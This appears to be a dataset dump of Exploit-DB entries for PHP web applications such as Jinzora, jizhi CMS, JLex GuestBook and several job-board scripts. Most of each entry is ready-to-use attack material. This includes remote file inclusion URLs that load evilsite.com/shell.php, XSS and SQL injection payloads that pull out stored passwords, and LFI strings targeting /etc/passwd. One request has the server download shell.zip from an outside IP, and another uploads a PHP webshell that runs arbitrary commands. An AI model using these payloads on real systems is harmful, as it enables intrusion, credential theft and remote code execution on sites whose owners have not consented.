deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3003
Description: Jinzora 2.7 - 'INCLUDE_PATH' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-25
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ Jinzora <= 2.7 (include_path) Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.jinzora.com/
+ Affected Software .: Jinzora <= 2.7
+ Download ..........: http://www.jinzora.com/downloads/j2.7.tar.gz
+ Description .......: "Jinzora enables you to stream your digital music and videos to any internet connected computer using a web browser"
+ Dork ..............: "Jinzora Media Jukebox"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Jinzora has several scripts which do not initialize variables before using them to include
+ files, assuming register_globals = on, we can initialize any one of the variables in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ popup.php, line(s) 01-27:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 27: include_once('jzBackend.php'); //jzBackend.php is being included before the include_path var is set
+ jzBackend.php, line(s) 40-77:
+ -> 01: <?php if (!defined(JZ_SECURE_ACCESS)) die ('Security breach detected.');
+ -> 40: @include($include_path."settings.php"); //assumes the include_path var has been set
+ -> 77: include($css);
+ rss.php, line(s) 01-35:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 35: include_once('backend/backend.php');
+ backend/backend.php, line(s) 02-42:
+ -> 02: if (!defined(JZ_SECURE_ACCESS)) die ('Security breach detected.');
+ -> 42: include_once($include_path. 'system.php'); //assumes the include_path var has been set
+ ajax_request.php, line(s) 01-32:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 32: require_once('jzBackend.php'); //see jzBackend.php above for vulnerable code
+ mediabroadcast.php, line(s) 01-42:
+ -> 01: <?php define('JZ_SECURE_ACCESS','true');
+ -> 42: include_once('backend/backend.php'); //see above for vulnerable code
+
+ Proof Of Concept:
+ http://[target]/[path]/popup.php?include_path=http://evilsite.com/shell.php?
+ http://[target]/[path]/rss.php?include_path=http://evilsite.com/shell.php?
+ http://[target]/[path]/ajax_request.php?include_path=http://evilsite.com/shell.php?
+ http://[target]/[path]/mediabroadcast.php?include_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-25]
Exploit-DB #31236
Description: Jinzora 2.7.5 - 'ajax_request.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-19
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27876/info
 
Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.
 
Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/ajax_request.php?language=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)">
Exploit-DB #31235
Description: Jinzora 2.7.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-19
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27876/info

Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.

Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/index.php?frontend=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)">
http://www.example.com/[installdir]/index.php/"><script>alert(&#039;DSecRG XSS&#039;)</script>
Exploit-DB #31238
Description: Jinzora 2.7.5 - 'popup.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-19
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27876/info
   
Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.
   
Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/popup.php?ptype=sitenew&siteNewsData = &lt;/textarea&gt;<script>alert(&#039;DSecRG XSS&#039;)</script>
http://www.example.com/[installdir]/popup.php?ptype=playlistedit&query = <script>alert(&#039;DSecRG XSS&#039;)</script>
http://www.example.com/[installdir]/popup.php?theme=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)">
Exploit-DB #31237
Description: Jinzora 2.7.5 - 'slim.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-19
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27876/info
  
Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.
  
Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/slim.php?jz_path=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)">
Exploit-DB #8278
Description: Jinzora Media Jukebox 2.8 - 'name' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-03-24
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##########################################################################
 #  [ Jinzora Media Jukebox <= 2.8 ]  Local File Inclusion Vulnerability  #
 ##########################################################################
 #
 # Script site: http://jinzora.com/ ,  http://sourceforge.net/projects/jinzora/ 
 # Download: http://downloads.sourceforge.net/jinzora/jz280.tar.gz?use_mirror=freefr
 #
 # Vuln: http://site.com/jinzora2/index.php?op=1&name=../../../../../../etc/passwd%00
 #      
 # Bug: ./jinzora2/index.php (lines: 36-47, 95)
 #
 # ...
 #	$include_path = ""; $link_root = ""; $cms_type = "standalone"; $cms_mode = "false";
 # $backend = ""; $jz_lang_file = ""; $skin = ""; $my_frontend = "";
 #
 #	if (isset($_GET['op'])){							// (1)
 #		// This has got to be postnuke...
 #		$include_path = "modules/". $_GET['name']. "/";				// (2)
 #		$link_root = "modules.php?";
 #		$cms_type = "postnuke";
 #		$cms_mode = "true";
 #	} else if (isset($_GET['name']) and !isset($_GET['op'])){
 #		// This has got to be phpnuke
 #		$include_path = "modules/". $_GET['name']. "/";
 # ... 	 
 #
 # 	@include($include_path. 'settings.php'); 					// (3) LFI
 # ... 	 
 #
 #
 ###############################################
 # Greetz: mama * tata * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-03-24]
Exploit-DB #2836
Description: JiRos FAQ Manager 1.0 - 'index.asp' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  JiRo´s FAQ Manager v1.0 (index.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(

*******************************************************************************

###http://[target]/[path]//index.asp?tID=[SQL]

Example:

//index.asp?tID=-1%20union%20select%200,uPassword,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200
//index.asp?tID=-1%20union%20select%200,uName,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-23]
Exploit-DB #48361
Description: jizhi CMS 1.6.7 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2020-04-21
Author: jizhicms

Exploit:
# Exploit Title: jizhi CMS 1.6.7 - Arbitrary File Download
# Google Dork: jizhicms
# Date: 2020-04-18
# Exploit Author: iej1ctk1g
# Vendor Homepage: https://www.jizhicms.cn/
# Software Link: http://down.jizhicms.cn/jizhicms_Beta1.6.7.zip
# Version: 1.6.7
# Tested on： Mac OS
# CVE : N/A

Data 1.

POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.1.253:8888
Content-Length: 86
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.253:8888
Referer: http://192.168.1.253:8888/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
Connection: close

action=start-download&filepath=shell&download_url=http://39.105.143.130:9090/shell.zip


Data 2.

POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.1.253:8888
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.253:8888
Referer: http://192.168.1.253:8888/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
Connection: close

action=file-upzip&filepath=shell
Exploit-DB #51647
Description: JLex GuestBook 1.6.4 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: JLex GuestBook 1.6.4 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 01/08/2023
# Vendor: JLexArt
# Vendor Homepage: https://jlexart.com/
# Software Link: https://extensions.joomla.org/extension/contacts-and-feedback/guest-book/jlex-guestbook/
# Demo: https://jlexguestbook.jlexart.com/
# Version: 1.6.4
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /u/perry-705

GET parameter 'q' is vulnerable to XSS

http://website/u/perry-705?q=[XSS]&wl=1


XSS Payloads:

db8ck"onfocus="confirm(1)"autofocus="xwu0k
Exploit-DB #30739
Description: JLMForo System - 'Buscado.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-05
Author: Jose Luis Gongora Fernandez

Exploit:
source: https://www.securityfocus.com/bid/26331/info

JLMForo System is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/PATH/buscador.php?clave=[XSS]
Exploit-DB #6669
Description: JMweb - 'src' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-04
Author: SirGod

Exploit:
#################################################################################################
[+] JMweb MP3 (src) Multiple Local File Inclusion
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke,Codex
##################################################################################################

# Script Homepage:
# http://www.jesse-web.co.cc //

[+] Download : http://rapidshare.com/files/138968587/jmweb_audiosearch.zip

[+] Local File Inclusion

     Example  1 :

       http://[target]/[path]/listen.php?src=[Local File]%00

     PoC 1 :

       http://127.0.0.1/path/listen.php?src=../../../../autoexec.bat%00


    Example 2 :

       http://[target]/[path]/download.php?src=[Local File]%00

    PoC 2 :

      http://127.0.0.1/path/download.php?src=../../../../autoexec.bat%00

##################################################################################################

# milw0rm.com [2008-10-04]
Exploit-DB #34806
Description: JNM Guestbook 3.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-09
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43697/info

JNM Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

JNM Guestbook 3.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/scripts/guestbook/test2/?page=1%3E%27%3E%3CScRiPt%20%0A%0D%3Ealert[PII_REDACTED]30)%3B%3C/ScRiPt%3E&order=asc
Exploit-DB #34807
Description: JNM Solutions DB Top Sites 1.0 - 'vote.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-08
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43699/info

JNM Solutions DB Top Sites is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

JNM Solutions DB Top Sites 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/topsites/vote.php?u=RGVtb24=1%3E%27%3E%3CScRiPt%20%0A%0D%3Ealert[PII_REDACTED]11)%3B%3C/ScRiPt%3E
Exploit-DB #43095
Description: Job Board Script - 'nice_theme' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Job Board Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.nicephpscripts.com/
# Software http://www.nicephpscripts.com/job_board_script.htm
# Demo: http://www.nicephpscripts.com/scripts/faqscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15964
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?nice_theme=[SQL]
# 
# Parameter: nice_theme (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: nice_theme=2 AND 9686=9686
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: nice_theme=2 AND SLEEP(5)
# 
# Etc..
# # # # #
Exploit-DB #42637
Description: Job Board Software 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Job Board Software 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/best-softwares/job-board-software
# Demo: http://jobsite.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/job-details/[SQL]/eFe
# 
# -131'+/*!50000UNION*/(/*!50000SELECT*/+0x283129,0x283229,0x283329,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529,0x28333629,0x28333729,0x28333829,0x28333929,0x28343029,0x28343129,0x28343229)--+-/eFe
# 
# Etc..
# # # # #
Exploit-DB #42795
Description: Job Links - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Job Links - Complete Job Management Script - Arbitrary File Upload
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://teamworktec.com/
# Software Link: https://codecanyon.net/item/job-links-complete-job-management-script/20672089
# Demo: http://teamworktec.com/demo/job-links/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an Job Seeker & Employer users upload arbitrary file....
# 
# Vulnerable Source:
# 
#      changes in user profile
#      */
#     public function profileChange(Request $request){
#         $users =  User::find(Auth::id());
#         if (!empty($request->avatar)) {
#             $large_image = public_path('uploads/'.$users->avatar);
#             File::delete($large_image);
#             $file = $request->avatar;
#             $users->avatar  = $file->getClientOriginalName();
#             $users->save();
#             $file->move('uploads', $file->getClientOriginalName());
#             return $request->avatar->getClientOriginalName();
#         } else
#             return $users->avatar;
#     }
# 
#     /*
#      change Cover picture
#      */
#     public function coverChange(Request $request){
#         $users =  User::find(Auth::id());
# 
#         if (!empty($request->cover)) {
#             $large_image = public_path('uploads/'.$users->cover);
#             File::delete($large_image);
#             $file = $request->cover;
#             $users->cover  = $file->getClientOriginalName();
#             $users->save();
#             $file->move('uploads', $file->getClientOriginalName());
#             return $request->cover->getClientOriginalName();
#         } else
#             return $users->cover;
#     }
# 	
# Proof of Concept: 
# 
# http://localhost/[PATH]/profile/[UserName]
# http://localhost/[PATH]/uploads/[FILE]
# 
# Etc..
# # # # #
Exploit-DB #51440
Description: Job Portal 1.0 - File Upload Restriction Bypass
Type: webapps
Platform: php
Date: 2023-05-13
Author: Rafael Pedrero

Exploit:
<!--
# Exploit Title: Job Portal 1.0 - File Upload Restriction Bypass
# Date: 27-06-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://phpgurukul.com/job-portal-project/
# Software Link:
https://phpgurukul.com/?smd_process_download=1&download_id=7855
# Version: 1.0
# Tested on: Windows 7 64 Bits / Windows 10 64 Bits
# CVE :
# Category: webapps


1. Description

File Upload Restriction Bypass vulnerabilities were found in Job Portal
1.0. This allows for an authenticated user to potentially obtain RCE via
webshell.


2. Proof of Concept

1. Go the user profile >> (/jobportal/applicant/)
2.- Select profile image and load a valid image.
3. Turn Burp/ZAP Intercept On
4. Select webshell - ex: shell.png
5. Alter request in the upload...
   Update 'filename' to desired extension. ex: shell.php
   Not neccesary change content type to 'image/png'

Example exploitation request:

====================================================================================================

POST http://127.0.0.1/jobportal/applicant/controller.php?action=photos
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED]3281
Content-Length: 555
Origin: https://127.0.0.1
Connection: keep-alive
Referer: https://127.0.0.1/jobportal/applicant/index.php?view=view&id=
Cookie: PHPSESSID=qf9e02j0rda99cj91l36qcat34
Upgrade-Insecure-Requests: 1
Host: 127.0.0.1

----------------------------[PII_REDACTED]3281
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000000
----------------------------[PII_REDACTED]3281
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: image/png

?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>"  ?>
IEND
----------------------------[PII_REDACTED]3281
Content-Disposition: form-data; name="savephoto"


----------------------------[PII_REDACTED]3281--

====================================================================================================

6. Send the request and visit your new webshell
   Ex: https://127.0.0.1/jobportal/applicant/photos/shell.php?cmd=whoami
       nt authority\system

3. Solution:

Patch:
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

-->